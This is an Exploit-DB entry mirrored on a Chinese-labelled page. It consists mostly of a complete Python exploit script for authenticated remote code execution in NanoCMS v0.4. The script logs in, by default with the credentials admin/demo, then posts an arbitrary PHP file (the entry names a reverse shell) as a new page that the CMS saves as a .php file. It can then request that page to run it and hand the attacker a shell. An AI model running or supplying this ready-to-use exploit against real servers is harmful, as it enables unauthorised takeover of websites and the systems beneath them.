NanoCMS v0.4 – Remote Code Execution (RCE) (Authenticated)

  • 作者: p1ckzi
    日期: 2022-08-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50997/
  • # Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
    # Date: 2022-07-26
    # Exploit Auuthor: p1ckzi
    # Vendor Homepage: https://github.com/kalyan02/NanoCMS
    # Version: NanoCMS v0.4
    # Tested on: Linux Mint 20.3
    # CVE: N/A
    #
    # Description:
    # this script uploads a php reverse shell to the target.
    # NanoCMS does not sanitise the data of an authenticated user while creating
    # webpages. pages are saved with .php extensions by default, allowing an
    # authenticated attacker access to the underlying system:
    # https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt
    
    #!/usr/bin/env python3
    
    import argparse
    import bs4
    import errno
    import re
    import requests
    import secrets
    import sys
    
    
    def arguments():
    parser = argparse.ArgumentParser(
    formatter_class=argparse.RawDescriptionHelpFormatter,
    description=f"{sys.argv[0]} exploits authenticated file upload"
    "\nand remote code execution in NanoCMS v0.4",
    epilog=f"examples:"
    f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"
    f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"
    f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"
    )
    parser.add_argument(
    "address", help="schema/ip/hostname, port, sub-directories"
    " to the vulnerable NanoCMS server"
    )
    parser.add_argument(
    "file", help="php file to upload"
    )
    parser.add_argument(
    "-u", "--user", help="username", default="admin"
    )
    parser.add_argument(
    "-p", "--passwd", help="password", default="demo"
    )
    parser.add_argument(
    "-e", "--execute", help="attempts to make a request to the uploaded"
    " file (more useful if uploading a reverse shell)",
    action="store_true", default=False
    )
    parser.add_argument(
    "-a", "--accessible", help="turns off features"
    " which may negatively affect screen readers",
    action="store_true", default=False
    )
    parser.add_argument(
    "-n", "--no-colour", help="removes colour output",
    action="store_true", default=False
    )
    arguments.option = parser.parse_args()
    
    
    # settings for terminal output defined by user in term_settings().
    class settings():
    # colours.
    c0 = ""
    c1 = ""
    c2 = ""
    
    # information boxes.
    i1 = ""
    i2 = ""
    i3 = ""
    i4 = ""
    
    
    # checks for terminal setting flags supplied by arguments().
    def term_settings():
    if arguments.option.accessible:
    small_banner()
    elif arguments.option.no_colour:
    settings.i1 = "[+] "
    settings.i2 = "[!] "
    settings.i3 = "[i] "
    settings.i4 = "$ "
    banner()
    elif not arguments.option.accessible or arguments.option.no_colour:
    settings.c0 = "\u001b[0m" # reset.
    settings.c1 = "\u001b[38;5;1m"# red.
    settings.c2 = "\u001b[38;5;2m"# green.
    settings.i1 = "[+] "
    settings.i2 = "[!] "
    settings.i3 = "[i] "
    settings.i4 = "$ "
    banner()
    else:
    print("something went horribly wrong!")
    sys.exit()
    
    
    # default terminal banner (looks prettier when run lol)
    def banner():
    print(
    "\n.__ .__"
    ".__ "
    "\n____ _________ ____ ____ _____ _____||__ ____ |"
    "| ||"
    "\n /\\__ \\/\\ /_ \\_/ ___\\ / \\ /___/|\\_/ "
    "__ \\|| ||"
    "\n| |\\/ __ \\| |(<_> )\\___|Y Y\\___\\| Y\\_"
    "__/||_||__"
    "\n|___|(____/___|/\\____/ \\___>__|_|/____>___|/\\___"
    ">____/____/"
    "\n \\/ \\/ \\/\\/\\/ \\/ \\/ "
    "\\/"
    )
    
    
    def small_banner():
    print(
    f"{sys.argv[0]}"
    "\nNanoCMS authenticated file upload and rce..."
    )
    
    
    # appends a '/' if not supplied at the end of the address.
    def address_check(address):
    check = re.search('/$', address)
    if check is not None:
    print('')
    else:
    arguments.option.address += "/"
    
    
    # creates a new filename for each upload.
    # errors occur if the filename is the same as a previously uploaded one.
    def random_filename():
    random_filename.name = secrets.token_hex(4)
    
    
    # note: after a successful login, credentials are saved, so further reuse
    # of the script will most likely not require correct credentials.
    def login(address, user, passwd):
    post_header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
    "Gecko/20100101 Firefox/91.0",
    "Accept": "text/html,application/xhtml+xml,"
    "application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "",
    "Connection": "close",
    "Referer": f"{arguments.option.address}data/nanoadmin.php",
    "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
    "Upgrade-Insecure-Requests": "1",
    }
    post_data = {
    "user": f"{user}",
    "pass": f"{passwd}"
    }
    
    url_request = requests.post(
    address + 'data/nanoadmin.php?',
    headers=post_header,
    data=post_data,
    verify=False,
    timeout=30
    )
    signin_error = url_request.text
    if 'Error : wrong Username or Password' in signin_error:
    print(
    f"{settings.c1}{settings.i2}could "
    f"sign in with {arguments.option.user}/"
    f"{arguments.option.passwd}.{settings.c0}"
    )
    sys.exit(1)
    else:
    print(
    f"{settings.c2}{settings.i1}logged in successfully."
    f"{settings.c0}"
    )
    
    
    def exploit(address, file, name):
    with open(arguments.option.file, 'r') as file:
    file_contents = file.read().rstrip()
    post_header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
    "Gecko/20100101 Firefox/91.0",
    "Accept": "text/html,application/xhtml+xml,"
    "application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "",
    "Connection": "close",
    "Referer": f"{arguments.option.address}data/nanoadmin.php?action="
    "addpage",
    "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
    "Upgrade-Insecure-Requests": "1",
    }
    
    post_data = {
    "title": f"{random_filename.name}",
    "save": "Add Page",
    "check_sidebar": "sidebar",
    "content": f"{file_contents}"
    }
    
    url_request = requests.post(
    address + 'data/nanoadmin.php?action=addpage',
    headers=post_header,
    data=post_data,
    verify=False,
    timeout=30
    )
    if url_request.status_code == 404:
    print(
    f"{settings.c1}{settings.i2}{arguments.option.address} could "
    f"not be uploaded.{settings.c0}"
    )
    sys.exit(1)
    else:
    print(
    f"{settings.c2}{settings.i1}file posted."
    f"{settings.c0}"
    )
    
    print(
    f"{settings.i3}if successful, file location should be at:"
    f"\n{address}data/pages/{random_filename.name}.php"
    )
    
    
    def execute(address, file, name):
    print(
    f"{settings.i3}making web request to uploaded file."
    )
    print(
    f"{settings.i3}check listener if reverse shell uploaded."
    )
    url_request = requests.get(
    address + f'data/pages/{random_filename.name}.php',
    verify=False
    )
    if url_request.status_code == 404:
    print(
    f"{settings.c1}{settings.i2}{arguments.option.file} could "
    f"not be found."
    f"\n{settings.i2}antivirus may be blocking your upload."
    f"{settings.c0}"
    )
    else:
    sys.exit()
    
    
    def main():
    try:
    arguments()
    term_settings()
    address_check(arguments.option.address)
    random_filename()
    if arguments.option.execute:
    login(
    arguments.option.address,
    arguments.option.user,
    arguments.option.passwd
    )
    exploit(
    arguments.option.address,
    arguments.option.file,
    random_filename.name,
    )
    execute(
    arguments.option.address,
    arguments.option.file,
    random_filename.name,
    )
    else:
    login(
    arguments.option.address,
    arguments.option.user,
    arguments.option.passwd
    )
    exploit(
    arguments.option.address,
    arguments.option.file,
    random_filename.name,
    )
    except KeyboardInterrupt:
    print(f"\n{settings.i3}quitting.")
    sys.exit()
    except requests.exceptions.Timeout:
    print(
    f"{settings.c1}{settings.i2}the request timed out "
    f"while attempting to connect.{settings.c0}"
    )
    sys.exit()
    except requests.ConnectionError:
    print(
    f"{settings.c1}{settings.i2}could not connect "
    f"to {arguments.option.address}{settings.c0}"
    )
    sys.exit()
    except FileNotFoundError:
    print(
    f"{settings.c1}{settings.i2}{arguments.option.file} "
    f"could not be found.{settings.c0}"
    )
    except (
    requests.exceptions.MissingSchema,
    requests.exceptions.InvalidURL,
    requests.exceptions.InvalidSchema
    ):
    print(
    f"{settings.c1}{settings.i2}a valid schema and address "
    f"must be supplied.{settings.c0}"
    )
    sys.exit()
    
    
    if __name__ == "__main__":
    main()